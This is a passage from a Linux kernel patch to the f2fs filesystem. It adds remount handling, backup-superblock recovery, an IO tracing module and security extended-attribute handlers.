super_block *sb, int *flags, char *data) +{ + struct f2fs_sb_info *sbi = F2FS_SB(sb); + struct f2fs_mount_info org_mount_opt; + int err, active_logs; + bool need_restart_gc = false; + bool need_stop_gc = false; + bool no_extent_cache = !test_opt(sbi, EXTENT_CACHE); + + sync_filesystem(sb); + + /* + * Save the old mount options in case we + * need to restore them. + */ + org_mount_opt = sbi->mount_opt; + active_logs = sbi->active_logs; + + sbi->mount_opt.opt = 0; + default_options(sbi); + + /* parse mount options */ + err = parse_options(sb, data); + if (err) + goto restore_opts; + + /* + * Previous and new state of filesystem is RO, + * so skip checking GC and FLUSH_MERGE conditions. + */ + if (f2fs_readonly(sb) && (*flags & MS_RDONLY)) + goto skip; + + /* disallow enable/disable extent_cache dynamically */ + if (no_extent_cache == !!test_opt(sbi, EXTENT_CACHE)) { + err = -EINVAL; + f2fs_msg(sbi->sb, KERN_WARNING, + "switch extent_cache option is not allowed"); + goto restore_opts; + } + + /* + * We stop the GC thread if FS is mounted as RO + * or if background_gc = off is passed in mount + * option. Also sync the filesystem. + */ + if ((*flags & MS_RDONLY) || !test_opt(sbi, BG_GC)) { + if (sbi->gc_thread) { + stop_gc_thread(sbi); + f2fs_sync_fs(sb, 1); + need_restart_gc = true; + } + } else if (!sbi->gc_thread) { + err = start_gc_thread(sbi); + if (err) + goto restore_opts; + need_stop_gc = true; + } + + /* + * We stop issue flush thread if FS is mounted as RO + * or if flush_merge is not passed in mount option. + */ + if ((*flags & MS_RDONLY) || !test_opt(sbi, FLUSH_MERGE)) { + destroy_flush_cmd_control(sbi); + } else if (!SM_I(sbi)->cmd_control_info) { + err = create_flush_cmd_control(sbi); + if (err) + goto restore_gc; + } +skip: + /* Update the POSIXACL Flag */ + sb->s_flags = (sb->s_flags & ~MS_POSIXACL) | + (test_opt(sbi, POSIX_ACL) ? MS_POSIXACL : 0); + return 0; +restore_gc: + if (need_restart_gc) { + if (start_gc_thread(sbi)) + f2fs_msg(sbi->sb, KERN_WARNING, + "background gc thread has stopped"); + } else if (need_stop_gc) { + stop_gc_thread(sbi); + } +restore_opts: + sbi->mount_opt = org_mount_opt; + sbi->active_logs = active_logs; + return err; +} + static struct super_operations f2fs_sops = { .alloc_inode = f2fs_alloc_inode, .drop_inode = f2fs_drop_inode, .destroy_inode = f2fs_destroy_inode, .write_inode = f2fs_write_inode, + .dirty_inode = f2fs_dirty_inode, .show_options = f2fs_show_options, .evict_inode = f2fs_evict_inode, .put_super = f2fs_put_super, @@ -256,6 +849,7 @@ static struct super_operations f2fs_sops = { .freeze_fs = f2fs_freeze, .unfreeze_fs = f2fs_unfreeze, .statfs = f2fs_statfs, + .remount_fs = f2fs_remount, }; static struct inode *f2fs_nfs_get_inode(struct super_block *sb, @@ -264,7 +858,7 @@ static struct inode *f2fs_nfs_get_inode(struct super_block *sb, struct f2fs_sb_info *sbi = F2FS_SB(sb); struct inode *inode; - if (ino < F2FS_ROOT_INO(sbi)) + if (check_nid_range(sbi, ino)) return ERR_PTR(-ESTALE); /* @@ -275,7 +869,7 @@ static struct inode *f2fs_nfs_get_inode(struct super_block *sb, inode = f2fs_iget(sb, ino); if (IS_ERR(inode)) return ERR_CAST(inode); - if (generation && inode->i_generation != generation) { + if (unlikely(generation && inode->i_generation != generation)) { /* we didn't find the right inode.. */ iput(inode); return ERR_PTR(-ESTALE); @@ -303,82 +897,9 @@ static const struct export_operations f2fs_export_ops = { .get_parent = f2fs_get_parent, }; -static int parse_options(struct super_block *sb, struct f2fs_sb_info *sbi, - char *options) -{ - substring_t args[MAX_OPT_ARGS]; - char *p; - int arg = 0; - - if (!options) - return 0; - - while ((p = strsep(&options, ",")) != NULL) { - int token; - if (!*p) - continue; - /* - * Initialize args struct so we know whether arg was - * found; some options take optional arguments. - */ - args[0].to = args[0].from = NULL; - token = match_token(p, f2fs_tokens, args); - - switch (token) { - case Opt_gc_background_off: - clear_opt(sbi, BG_GC); - break; - case Opt_disable_roll_forward: - set_opt(sbi, DISABLE_ROLL_FORWARD); - break; - case Opt_discard: - set_opt(sbi, DISCARD); - break; - case Opt_noheap: - set_opt(sbi, NOHEAP); - break; -#ifdef CONFIG_F2FS_FS_XATTR - case Opt_nouser_xattr: - clear_opt(sbi, XATTR_USER); - break; -#else - case Opt_nouser_xattr: - f2fs_msg(sb, KERN_INFO, - "nouser_xattr options not supported"); - break; -#endif -#ifdef CONFIG_F2FS_FS_POSIX_ACL - case Opt_noacl: - clear_opt(sbi, POSIX_ACL); - break; -#else - case Opt_noacl: - f2fs_msg(sb, KERN_INFO, "noacl options not supported"); - break; -#endif - case Opt_active_logs: - if (args->from && match_int(args, &arg)) - return -EINVAL; - if (arg != 2 && arg != 4 && arg != NR_CURSEG_TYPE) - return -EINVAL; - sbi->active_logs = arg; - break; - case Opt_disable_ext_identify: - set_opt(sbi, DISABLE_EXT_IDENTIFY); - break; - default: - f2fs_msg(sb, KERN_ERR, - "Unrecognized mount option \"%s\" or missing value", - p); - return -EINVAL; - } - } - return 0; -} - static loff_t max_file_size(unsigned bits) { - loff_t result = ADDRS_PER_INODE; + loff_t result = (DEF_ADDRS_PER_INODE - F2FS_INLINE_XATTR_ADDRS); loff_t leaf_count = ADDRS_PER_BLOCK; /* two direct node blocks */ @@ -425,14 +946,22 @@ static int sanity_check_raw_super(struct super_block *sb, return 1; } - if (le32_to_cpu(raw_super->log_sectorsize) != - F2FS_LOG_SECTOR_SIZE) { - f2fs_msg(sb, KERN_INFO, "Invalid log sectorsize"); + /* Currently, support 512/1024/2048/4096 bytes sector size */ + if (le32_to_cpu(raw_super->log_sectorsize) > + F2FS_MAX_LOG_SECTOR_SIZE || + le32_to_cpu(raw_super->log_sectorsize) < + F2FS_MIN_LOG_SECTOR_SIZE) { + f2fs_msg(sb, KERN_INFO, "Invalid log sectorsize (%u)", + le32_to_cpu(raw_super->log_sectorsize)); return 1; } - if (le32_to_cpu(raw_super->log_sectors_per_block) != - F2FS_LOG_SECTORS_PER_BLOCK) { - f2fs_msg(sb, KERN_INFO, "Invalid log sectors per block"); + if (le32_to_cpu(raw_super->log_sectors_per_block) + + le32_to_cpu(raw_super->log_sectorsize) != + F2FS_MAX_LOG_SECTOR_SIZE) { + f2fs_msg(sb, KERN_INFO, + "Invalid log sectors per block(%u) log sectorsize(%u)", + le32_to_cpu(raw_super->log_sectors_per_block), + le32_to_cpu(raw_super->log_sectorsize)); return 1; } return 0; @@ -451,10 +980,10 @@ static int sanity_check_ckpt(struct f2fs_sb_info *sbi) fsmeta += le32_to_cpu(ckpt->rsvd_segment_count); fsmeta += le32_to_cpu(raw_super->segment_count_ssa); - if (fsmeta >= total) + if (unlikely(fsmeta >= total)) return 1; - if (is_set_ckpt_flags(ckpt, CP_ERROR_FLAG)) { + if (unlikely(f2fs_cp_error(sbi))) { f2fs_msg(sbi->sb, KERN_ERR, "A bug case: need to run fsck"); return 1; } @@ -482,35 +1011,114 @@ static void init_sb_info(struct f2fs_sb_info *sbi) sbi->node_ino_num = le32_to_cpu(raw_super->node_ino); sbi->meta_ino_num = le32_to_cpu(raw_super->meta_ino); sbi->cur_victim_sec = NULL_SECNO; + sbi->max_victim_search = DEF_MAX_VICTIM_SEARCH; for (i = 0; i < NR_COUNT_TYPE; i++) atomic_set(&sbi->nr_pages[i], 0); + + sbi->dir_level = DEF_DIR_LEVEL; + sbi->cp_interval = DEF_CP_INTERVAL; + clear_sbi_flag(sbi, SBI_NEED_FSCK); + + INIT_LIST_HEAD(&sbi->s_list); + mutex_init(&sbi->umount_mutex); } -static int validate_superblock(struct super_block *sb, - struct f2fs_super_block **raw_super, - struct buffer_head **raw_super_buf, sector_t block) +/* + * Read f2fs raw super block. + * Because we have two copies of super block, so read the first one at first, + * if the first one is invalid, move to read the second one. + */ +static int read_raw_super_block(struct super_block *sb, + struct f2fs_super_block **raw_super, + struct buffer_head **raw_super_buf, + int *recovery) { - const char *super = (block == 0 ? "first" : "second"); - - /* read f2fs raw super block */ - *raw_super_buf = sb_bread(sb, block); - if (!*raw_super_buf) { - f2fs_msg(sb, KERN_ERR, "unable to read %s superblock", - super); - return -EIO; + int block = 0; + struct buffer_head *buffer; + struct f2fs_super_block *super; + int err = 0; + +retry: + buffer = sb_bread(sb, block); + if (!buffer) { + *recovery = 1; + f2fs_msg(sb, KERN_ERR, "Unable to read %dth superblock", + block + 1); + if (block == 0) { + block++; + goto retry; + } else { + err = -EIO; + goto out; + } } - *raw_super = (struct f2fs_super_block *) - ((char *)(*raw_super_buf)->b_data + F2FS_SUPER_OFFSET); + super = (struct f2fs_super_block *) + ((char *)(buffer)->b_data + F2FS_SUPER_OFFSET); /* sanity checking of raw super */ - if (!sanity_check_raw_super(sb, *raw_super)) - return 0; + if (sanity_check_raw_super(sb, super)) { + brelse(buffer); + *recovery = 1; + f2fs_msg(sb, KERN_ERR, + "Can't find valid F2FS filesystem in %dth superblock", + block + 1); + if (block == 0) { + block++; + goto retry; + } else { + err = -EINVAL; + goto out; + } + } + + if (!*raw_super) { + *raw_super_buf = buffer; + *raw_super = super; + } else { + /* already have a valid superblock */ + brelse(buffer); + } - f2fs_msg(sb, KERN_ERR, "Can't find a valid F2FS filesystem " - "in %s superblock", super); - return -EINVAL; + /* check the validity of the second superblock */ + if (block == 0) { + block++; + goto retry; + } + +out: + /* No valid superblock */ + if (!*raw_super) + return err; + + return 0; +} + +int f2fs_commit_super(struct f2fs_sb_info *sbi, bool recover) +{ + struct buffer_head *sbh = sbi->raw_super_buf; + sector_t block = sbh->b_blocknr; + int err; + + /* write back-up superblock first */ + sbh->b_blocknr = block ? 0 : 1; + mark_buffer_dirty(sbh); + err = sync_dirty_buffer(sbh); + + sbh->b_blocknr = block; + + /* if we are in recovery path, skip writing valid superblock */ + if (recover || err) + goto out; + + /* write current valid superblock */ + mark_buffer_dirty(sbh); + err = sync_dirty_buffer(sbh); +out: + clear_buffer_write_io_error(sbh); + set_buffer_uptodate(sbh); + return err; } static int f2fs_fill_super(struct super_block *sb, void *data, int silent) @@ -519,8 +1127,16 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) struct f2fs_super_block *raw_super; struct buffer_head *raw_super_buf; struct inode *root; - long err = -EINVAL; - int i; + long err; + bool retry = true, need_fsck = false; + char *options = NULL; + int recovery, i; + +try_onemore: + err = -EINVAL; + raw_super = NULL; + raw_super_buf = NULL; + recovery = 0; /* allocate memory for f2fs-specific super block info */ sbi = kzalloc(sizeof(struct f2fs_sb_info), GFP_KERNEL); @@ -528,34 +1144,27 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) return -ENOMEM; /* set a block size */ - if (!sb_set_blocksize(sb, F2FS_BLKSIZE)) { + if (unlikely(!sb_set_blocksize(sb, F2FS_BLKSIZE))) { f2fs_msg(sb, KERN_ERR, "unable to set blocksize"); goto free_sbi; } - err = validate_superblock(sb, &raw_super, &raw_super_buf, 0); - if (err) { - brelse(raw_super_buf); - /* check secondary superblock when primary failed */ - err = validate_superblock(sb, &raw_super, &raw_super_buf, 1); - if (err) - goto free_sb_buf; - } - /* init some FS parameters */ - sbi->active_logs = NR_CURSEG_TYPE; - - set_opt(sbi, BG_GC); + err = read_raw_super_block(sb, &raw_super, &raw_super_buf, &recovery); + if (err) + goto free_sbi; -#ifdef CONFIG_F2FS_FS_XATTR - set_opt(sbi, XATTR_USER); -#endif -#ifdef CONFIG_F2FS_FS_POSIX_ACL - set_opt(sbi, POSIX_ACL); -#endif + sb->s_fs_info = sbi; + default_options(sbi); /* parse mount options */ - err = parse_options(sb, sbi, (char *)data); - if (err) + options = kstrdup((const char *)data, GFP_KERNEL); + if (data && !options) { + err = -ENOMEM; goto free_sb_buf; + } + + err = parse_options(sb, options); + if (err) + goto free_options; sb->s_maxbytes = max_file_size(le32_to_cpu(raw_super->log_blocksize)); sb->s_max_links = F2FS_LINK_MAX; @@ -565,7 +1174,6 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) sb->s_xattr = f2fs_xattr_handlers; sb->s_export_op = &f2fs_export_ops; sb->s_magic = F2FS_SUPER_MAGIC; - sb->s_fs_info = sbi; sb->s_time_gran = 1; sb->s_flags = (sb->s_flags & ~MS_POSIXACL) | (test_opt(sbi, POSIX_ACL) ? MS_POSIXACL : 0); @@ -578,12 +1186,23 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) mutex_init(&sbi->gc_mutex); mutex_init(&sbi->writepages); mutex_init(&sbi->cp_mutex); - for (i = 0; i < NR_GLOBAL_LOCKS; i++) - mutex_init(&sbi->fs_lock[i]); - mutex_init(&sbi->node_write); - sbi->por_doing = 0; + init_rwsem(&sbi->node_write); + + /* disallow all the data/node/meta page writes */ + set_sbi_flag(sbi, SBI_POR_DOING); spin_lock_init(&sbi->stat_lock); - init_rwsem(&sbi->bio_sem); + + init_rwsem(&sbi->read_io.io_rwsem); + sbi->read_io.sbi = sbi; + sbi->read_io.bio = NULL; + for (i = 0; i < NR_PAGE_TYPE; i++) { + init_rwsem(&sbi->write_io[i].io_rwsem); + sbi->write_io[i].sbi = sbi; + sbi->write_io[i].bio = NULL; + } + + init_rwsem(&sbi->cp_rwsem); + init_waitqueue_head(&sbi->cp_wait); init_sb_info(sbi); /* get an inode for meta space */ @@ -591,7 +1210,7 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) if (IS_ERR(sbi->meta_inode)) { f2fs_msg(sb, KERN_ERR, "Failed to read F2FS meta data inode"); err = PTR_ERR(sbi->meta_inode); - goto free_sb_buf; + goto free_options; } err = get_valid_checkpoint(sbi); @@ -619,7 +1238,9 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) INIT_LIST_HEAD(&sbi->dir_inode_list); spin_lock_init(&sbi->dir_inode_lock); - init_orphan_info(sbi); + init_extent_cache_info(sbi); + + init_ino_entry_info(sbi); /* setup f2fs internal modules */ err = build_segment_manager(sbi); @@ -645,9 +1266,11 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) goto free_nm; } + f2fs_join_shrinker(sbi); + /* if there are nt orphan nodes free them */ - err = -EINVAL; - if (recover_orphan_inodes(sbi)) + err = recover_orphan_inodes(sbi); + if (err) goto free_node_inode; /* read root inode and dentry */ @@ -657,8 +1280,11 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) err = PTR_ERR(root); goto free_node_inode; } - if (!S_ISDIR(root->i_mode) || !root->i_blocks || !root->i_size) - goto free_root_inode; + if (!S_ISDIR(root->i_mode) || !root->i_blocks || !root->i_size) { + iput(root); + err = -EINVAL; + goto free_node_inode; + } sb->s_root = d_make_root(root); /* allocate root dentry */ if (!sb->s_root) { @@ -666,39 +1292,88 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) goto free_root_inode; } + err = f2fs_build_stats(sbi); + if (err) + goto free_root_inode; + + if (f2fs_proc_root) + sbi->s_proc = proc_mkdir(sb->s_id, f2fs_proc_root); + + if (sbi->s_proc) + proc_create_data("segment_info", S_IRUGO, sbi->s_proc, + &f2fs_seq_segment_info_fops, sb); + + sbi->s_kobj.kset = f2fs_kset; + init_completion(&sbi->s_kobj_unregister); + err = kobject_init_and_add(&sbi->s_kobj, &f2fs_ktype, NULL, + "%s", sb->s_id); + if (err) + goto free_proc; + /* recover fsynced data */ if (!test_opt(sbi, DISABLE_ROLL_FORWARD)) { + /* + * mount should be failed, when device has readonly mode, and + * previous checkpoint was not done by clean system shutdown. + */ + if (bdev_read_only(sb->s_bdev) && + !is_set_ckpt_flags(sbi->ckpt, CP_UMOUNT_FLAG)) { + err = -EROFS; + goto free_kobj; + } + + if (need_fsck) + set_sbi_flag(sbi, SBI_NEED_FSCK); + err = recover_fsync_data(sbi); - if (err) + if (err) { + need_fsck = true; f2fs_msg(sb, KERN_ERR, "Cannot recover all fsync data errno=%ld", err); + goto free_kobj; + } } + /* recover_fsync_data() cleared this already */ + clear_sbi_flag(sbi, SBI_POR_DOING); - /* After POR, we can run background GC thread */ - err = start_gc_thread(sbi); - if (err) - goto fail; - - err = f2fs_build_stats(sbi); - if (err) - goto fail; + /* + * If filesystem is not mounted as read-only then + * do start the gc_thread. + */ + if (test_opt(sbi, BG_GC) && !f2fs_readonly(sb)) { + /* After POR, we can run background GC thread.*/ + err = start_gc_thread(sbi); + if (err) + goto free_kobj; + } + kfree(options); - if (test_opt(sbi, DISCARD)) { - struct request_queue *q = bdev_get_queue(sb->s_bdev); - if (!blk_queue_discard(q)) - f2fs_msg(sb, KERN_WARNING, - "mounting with \"discard\" option, but " - "the device does not support discard"); + /* recover broken superblock */ + if (recovery && !f2fs_readonly(sb) && !bdev_read_only(sb->s_bdev)) { + f2fs_msg(sb, KERN_INFO, "Recover invalid superblock"); + f2fs_commit_super(sbi, true); } + sbi->cp_expires = round_jiffies_up(jiffies); + return 0; -fail: - stop_gc_thread(sbi); + +free_kobj: + kobject_del(&sbi->s_kobj); +free_proc: + if (sbi->s_proc) { + remove_proc_entry("segment_info", sbi->s_proc); + remove_proc_entry(sb->s_id, f2fs_proc_root); + } + f2fs_destroy_stats(sbi); free_root_inode: dput(sb->s_root); sb->s_root = NULL; free_node_inode: + mutex_lock(&sbi->umount_mutex); + f2fs_leave_shrinker(sbi); iput(sbi->node_inode); + mutex_unlock(&sbi->umount_mutex); free_nm: destroy_node_manager(sbi); free_sm: @@ -708,10 +1383,19 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) free_meta_inode: make_bad_inode(sbi->meta_inode); iput(sbi->meta_inode); +free_options: + kfree(options); free_sb_buf: brelse(raw_super_buf); free_sbi: kfree(sbi); + + /* give only one another chance */ + if (retry) { + retry = false; + shrink_dcache_sb(sb); + goto try_onemore; + } return err; } @@ -721,11 +1405,18 @@ static struct dentry *f2fs_mount(struct file_system_type *fs_type, int flags, return mount_bdev(fs_type, flags, dev_name, data, f2fs_fill_super); } +static void kill_f2fs_super(struct super_block *sb) +{ + if (sb->s_root) + set_sbi_flag(F2FS_SB(sb), SBI_IS_CLOSE); + kill_block_super(sb); +} + static struct file_system_type f2fs_fs_type = { .owner = THIS_MODULE, .name = "f2fs", .mount = f2fs_mount, - .kill_sb = kill_block_super, + .kill_sb = kill_f2fs_super, .fs_flags = FS_REQUIRES_DEV, }; MODULE_ALIAS_FS("f2fs"); @@ -733,8 +1424,8 @@ MODULE_ALIAS_FS("f2fs"); static int __init init_inodecache(void) { f2fs_inode_cachep = f2fs_kmem_cache_create("f2fs_inode_cache", - sizeof(struct f2fs_inode_info), NULL); - if (f2fs_inode_cachep == NULL) + sizeof(struct f2fs_inode_info)); + if (!f2fs_inode_cachep) return -ENOMEM; return 0; } @@ -753,34 +1444,74 @@ static int __init init_f2fs_fs(void) { int err; + f2fs_build_trace_ios(); + err = init_inodecache(); if (err) goto fail; err = create_node_manager_caches(); if (err) - goto fail; - err = create_gc_caches(); + goto free_inodecache; + err = create_segment_manager_caches(); if (err) - goto fail; + goto free_node_manager_caches; err = create_checkpoint_caches(); if (err) - goto fail; + goto free_segment_manager_caches; + err = create_extent_cache(); + if (err) + goto free_checkpoint_caches; + f2fs_kset = kset_create_and_add("f2fs", NULL, fs_kobj); + if (!f2fs_kset) { + err = -ENOMEM; + goto free_extent_cache; + } + err = f2fs_init_crypto(); + if (err) + goto free_kset; + + register_shrinker(&f2fs_shrinker_info); + err = register_filesystem(&f2fs_fs_type); if (err) - goto fail; + goto free_shrinker; f2fs_create_root_stats(); + f2fs_proc_root = proc_mkdir("fs/f2fs", NULL); + return 0; + +free_shrinker: + unregister_shrinker(&f2fs_shrinker_info); + f2fs_exit_crypto(); +free_kset: + kset_unregister(f2fs_kset); +free_extent_cache: + destroy_extent_cache(); +free_checkpoint_caches: + destroy_checkpoint_caches(); +free_segment_manager_caches: + destroy_segment_manager_caches(); +free_node_manager_caches: + destroy_node_manager_caches(); +free_inodecache: + destroy_inodecache(); fail: return err; } static void __exit exit_f2fs_fs(void) { + remove_proc_entry("fs/f2fs", NULL); f2fs_destroy_root_stats(); + unregister_shrinker(&f2fs_shrinker_info); unregister_filesystem(&f2fs_fs_type); + f2fs_exit_crypto(); + destroy_extent_cache(); destroy_checkpoint_caches(); - destroy_gc_caches(); + destroy_segment_manager_caches(); destroy_node_manager_caches(); destroy_inodecache(); + kset_unregister(f2fs_kset); + f2fs_destroy_trace_ios(); } module_init(init_f2fs_fs) diff --git a/fs/f2fs/trace.c b/fs/f2fs/trace.c new file mode 100644 index 0000000000000..145fb659ad445 --- /dev/null +++ b/fs/f2fs/trace.c @@ -0,0 +1,159 @@ +/* + * f2fs IO tracer + * + * Copyright (c) 2014 Motorola Mobility + * Copyright (c) 2014 Jaegeuk Kim + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ +#include +#include +#include +#include + +#include "f2fs.h" +#include "trace.h" + +static RADIX_TREE(pids, GFP_ATOMIC); +static spinlock_t pids_lock; +static struct last_io_info last_io; + +static inline void __print_last_io(void) +{ + if (!last_io.len) + return; + + trace_printk("%3x:%3x %4x %-16s %2x %5x %12x %4x\n", + last_io.major, last_io.minor, + last_io.pid, "----------------", + last_io.type, + last_io.fio.rw, last_io.fio.blk_addr, + last_io.len); + memset(&last_io, 0, sizeof(last_io)); +} + +static int __file_type(struct inode *inode, pid_t pid) +{ + if (f2fs_is_atomic_file(inode)) + return __ATOMIC_FILE; + else if (f2fs_is_volatile_file(inode)) + return __VOLATILE_FILE; + else if (S_ISDIR(inode->i_mode)) + return __DIR_FILE; + else if (inode->i_ino == F2FS_NODE_INO(F2FS_I_SB(inode))) + return __NODE_FILE; + else if (inode->i_ino == F2FS_META_INO(F2FS_I_SB(inode))) + return __META_FILE; + else if (pid) + return __NORMAL_FILE; + else + return __MISC_FILE; +} + +void f2fs_trace_pid(struct page *page) +{ + struct inode *inode = page->mapping->host; + pid_t pid = task_pid_nr(current); + void *p; + + page->private = pid; + + if (radix_tree_preload(GFP_NOFS)) + return; + + spin_lock(&pids_lock); + p = radix_tree_lookup(&pids, pid); + if (p == current) + goto out; + if (p) + radix_tree_delete(&pids, pid); + + f2fs_radix_tree_insert(&pids, pid, current); + + trace_printk("%3x:%3x %4x %-16s\n", + MAJOR(inode->i_sb->s_dev), MINOR(inode->i_sb->s_dev), + pid, current->comm); +out: + spin_unlock(&pids_lock); + radix_tree_preload_end(); +} + +void f2fs_trace_ios(struct f2fs_io_info *fio, int flush) +{ + struct inode *inode; + pid_t pid; + int major, minor; + + if (flush) { + __print_last_io(); + return; + } + + inode = fio->page->mapping->host; + pid = page_private(fio->page); + + major = MAJOR(inode->i_sb->s_dev); + minor = MINOR(inode->i_sb->s_dev); + + if (last_io.major == major && last_io.minor == minor && + last_io.pid == pid && + last_io.type == __file_type(inode, pid) && + last_io.fio.rw == fio->rw && + last_io.fio.blk_addr + last_io.len == fio->blk_addr) { + last_io.len++; + return; + } + + __print_last_io(); + + last_io.major = major; + last_io.minor = minor; + last_io.pid = pid; + last_io.type = __file_type(inode, pid); + last_io.fio = *fio; + last_io.len = 1; + return; +} + +void f2fs_build_trace_ios(void) +{ + spin_lock_init(&pids_lock); +} + +#define PIDVEC_SIZE 128 +static unsigned int gang_lookup_pids(pid_t *results, unsigned long first_index, + unsigned int max_items) +{ + struct radix_tree_iter iter; + void **slot; + unsigned int ret = 0; + + if (unlikely(!max_items)) + return 0; + + radix_tree_for_each_slot(slot, &pids, &iter, first_index) { + results[ret] = iter.index; + if (++ret == PIDVEC_SIZE) + break; + } + return ret; +} + +void f2fs_destroy_trace_ios(void) +{ + pid_t pid[PIDVEC_SIZE]; + pid_t next_pid = 0; + unsigned int found; + + spin_lock(&pids_lock); + while ((found = gang_lookup_pids(pid, next_pid, PIDVEC_SIZE))) { + unsigned idx; + + next_pid = pid[found - 1] + 1; + for (idx = 0; idx < found; idx++) + radix_tree_delete(&pids, pid[idx]); + } + spin_unlock(&pids_lock); +} diff --git a/fs/f2fs/trace.h b/fs/f2fs/trace.h new file mode 100644 index 0000000000000..67db24ac1e85a --- /dev/null +++ b/fs/f2fs/trace.h @@ -0,0 +1,46 @@ +/* + * f2fs IO tracer + * + * Copyright (c) 2014 Motorola Mobility + * Copyright (c) 2014 Jaegeuk Kim + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ +#ifndef __F2FS_TRACE_H__ +#define __F2FS_TRACE_H__ + +#ifdef CONFIG_F2FS_IO_TRACE +#include + +enum file_type { + __NORMAL_FILE, + __DIR_FILE, + __NODE_FILE, + __META_FILE, + __ATOMIC_FILE, + __VOLATILE_FILE, + __MISC_FILE, +}; + +struct last_io_info { + int major, minor; + pid_t pid; + enum file_type type; + struct f2fs_io_info fio; + block_t len; +}; + +extern void f2fs_trace_pid(struct page *); +extern void f2fs_trace_ios(struct f2fs_io_info *, int); +extern void f2fs_build_trace_ios(void); +extern void f2fs_destroy_trace_ios(void); +#else +#define f2fs_trace_pid(p) +#define f2fs_trace_ios(i, n) +#define f2fs_build_trace_ios() +#define f2fs_destroy_trace_ios() + +#endif +#endif /* __F2FS_TRACE_H__ */ diff --git a/fs/f2fs/xattr.c b/fs/f2fs/xattr.c index 0b02dce313565..dd0646a56874a 100644 --- a/fs/f2fs/xattr.c +++ b/fs/f2fs/xattr.c @@ -20,11 +20,12 @@ */ #include #include +#include #include "f2fs.h" #include "xattr.h" static size_t f2fs_xattr_generic_list(struct dentry *dentry, char *list, - size_t list_size, const char *name, size_t name_len, int type) + size_t list_size, const char *name, size_t len, int type) { struct f2fs_sb_info *sbi = F2FS_SB(dentry->d_sb); int total_len, prefix_len = 0; @@ -43,15 +44,19 @@ static size_t f2fs_xattr_generic_list(struct dentry *dentry, char *list, prefix = XATTR_TRUSTED_PREFIX; prefix_len = XATTR_TRUSTED_PREFIX_LEN; break; + case F2FS_XATTR_INDEX_SECURITY: + prefix = XATTR_SECURITY_PREFIX; + prefix_len = XATTR_SECURITY_PREFIX_LEN; + break; default: return -EINVAL; } - total_len = prefix_len + name_len + 1; + total_len = prefix_len + len + 1; if (list && total_len <= list_size) { memcpy(list, prefix, prefix_len); - memcpy(list+prefix_len, name, name_len); - list[prefix_len + name_len] = '\0'; + memcpy(list + prefix_len, name, len); + list[prefix_len + len] = '\0'; } return total_len; } @@ -70,13 +75,14 @@ static int f2fs_xattr_generic_get(struct dentry *dentry, const char *name, if (!capable(CAP_SYS_ADMIN)) return -EPERM; break; + case F2FS_XATTR_INDEX_SECURITY: + break; default: return -EINVAL; } if (strcmp(name, "") == 0) return -EINVAL; - return f2fs_getxattr(dentry->d_inode, type, name, - buffer, size); + return f2fs_getxattr(dentry->d_inode, type, name, buffer, size, NULL); } static int f2fs_xattr_generic_set(struct dentry *dentry, const char *name, @@ -93,17 +99,20 @@ static int f2fs_xattr_generic_set(struct dentry *dentry, const char *name, if (!capable(CAP_SYS_ADMIN)) return -EPERM; break; + case F2FS_XATTR_INDEX_SECURITY: + break; default: return -EINVAL; } if (strcmp(name, "") == 0) return -EINVAL; - return f2fs_setxattr(dentry->d_inode, type, name, value, size); + return f2fs_setxattr(dentry->d_inode, type, name, + value, size, NULL, flags); } static size_t f2fs_xattr_advise_list(struct dentry *dentry, char *list, - size_t list_size, const char *name, size_t name_len, int type) + size_t list_size, const char *name, size_t len, int type) { const char *xname = F2FS_SYSTEM_ADVISE_PREFIX; size_t size; @@ -125,7 +134,8 @@ static int f2fs_xattr_advise_get(struct dentry *dentry, const char *name, if (strcmp(name, "") != 0) return -EINVAL; - *((char *)buffer) = F2FS_I(inode)->i_advise; + if (buffer) + *((char *)buffer) = F2FS_I(inode)->i_advise; return sizeof(char); } @@ -142,9 +152,35 @@ static int f2fs_xattr_advise_set(struct dentry *dentry, const char *name, return -EINVAL; F2FS_I(inode)->i_advise |= *(char *)value; + mark_inode_dirty(inode); return 0; } +#ifdef CONFIG_F2FS_FS_SECURITY +static int f2fs_initxattrs(struct inode *inode, const struct xattr *xattr_array, + void *page) +{ + const struct xattr *xattr; + int err = 0; + + for (xattr = xattr_array; xattr->name != NULL; xattr++) { + err = f2fs_setxattr(inode, F2FS_XATTR_INDEX_SECURITY, + xattr->name, xattr->value, + xattr->value_len, (struct page *)page, 0); + if (err < 0) + break; + } + return err; +} + +int f2fs_init_security(struct inode *inode, struct inode *dir, + const struct qstr *qstr, struct page *ipage) +{ + return security_inode_init_security(inode, dir, qstr, + &f2fs_initxattrs, ipage); +} +#endif + const struct xattr_handler f2fs_xattr_user_handler = { .prefix = XATTR_USER_PREFIX, .flags = F2FS_XATTR_INDEX_USER, @@ -169,6 +205,14 @@ const struct xattr_handler f2fs_xattr_advise_handler = { .set = f2fs_xattr_advise_set, }; +const struct xattr_handler f2fs_xattr_security_handler = { + .prefix = XATTR_SECURITY_PREFIX, + .flags = F2FS_XATTR_INDEX_SECURITY, + .list = f2fs_xattr_generic_list, + .get = f2fs_xattr_generic_get, + .set = f2fs_xattr_generic_set, +}; + static const struct xattr_handler *f2fs_xattr_handler_map[] = { [F2FS_XATTR_INDEX_USER] = &f2fs_xattr_user_handler, #ifdef CONFIG_F2FS_FS_POSIX_ACL @@ -176,6 +220,9 @@ static const struct xattr_handler *f2fs_xattr_handler_map[] = { [F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT] = &f2fs_xattr_acl_default_handler, #endif [F2FS_XATTR_INDEX_TRUSTED] = &f2fs_xattr_trusted_handler, +#ifdef CONFIG_F2FS_FS_SECURITY + [F2FS_XATTR_INDEX_SECURITY] = &f2fs_xattr_security_handler, +#endif [F2FS_XATTR_INDEX_ADVISE] = &f2fs_xattr_advise_handler, }; @@ -186,89 +233,225 @@ const struct xattr_handler *f2fs_xattr_handlers[] = { 